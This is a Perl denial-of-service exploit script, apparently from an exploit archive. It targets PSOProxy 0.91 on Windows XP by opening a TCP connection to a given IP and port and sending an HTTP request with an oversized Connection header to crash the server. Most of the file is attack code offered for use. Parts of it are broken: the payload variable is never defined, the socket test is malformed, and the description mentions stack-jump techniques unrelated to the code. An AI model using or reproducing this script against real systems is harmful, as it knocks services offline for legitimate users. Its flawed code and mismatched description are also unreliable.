#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSOProxy 0.91 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 28 january 2024
# Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/latest/download
# Download to demo: https://drive.google.com/file/d/1O8Q2d0muet6XuOhqwXuvT3qfzgGNk6vs/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSOProxy 0.91
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=ALe3uFS4cUA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();

print "\t    ==> Connecting to webserver... \n\n";
sleep(1);

my $i=0;
    print "\t    ==> Exploiting... \n\n";

$socket = IO::Socket::INET->new
     (PeerAddr => $ip,
      PeerPort => $port,
      Proto => "tcp")
{
        $header =
        "GET / HTTP/1.1\r\n".
        "Host: ".$ip." \r\n".
        "Connection:".$exploit."\r\n";

        print $socket $header."\r\n";
        sleep(1);
        close($socket);
}
 
else
{
    print "[-] Connection to $target failed!\n";
    exit;
}

print "\t    ==> Done! Exploited!";
   sub intro {
      print q {

	                            ,--,
	                     _ ___/ /\|
	                 ,;'( )__, )  ~
	                //  //   '--; 
	                '   \     | ^
	                     ^    ^

	    [+] PSOProxy 0.91 - Denial of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated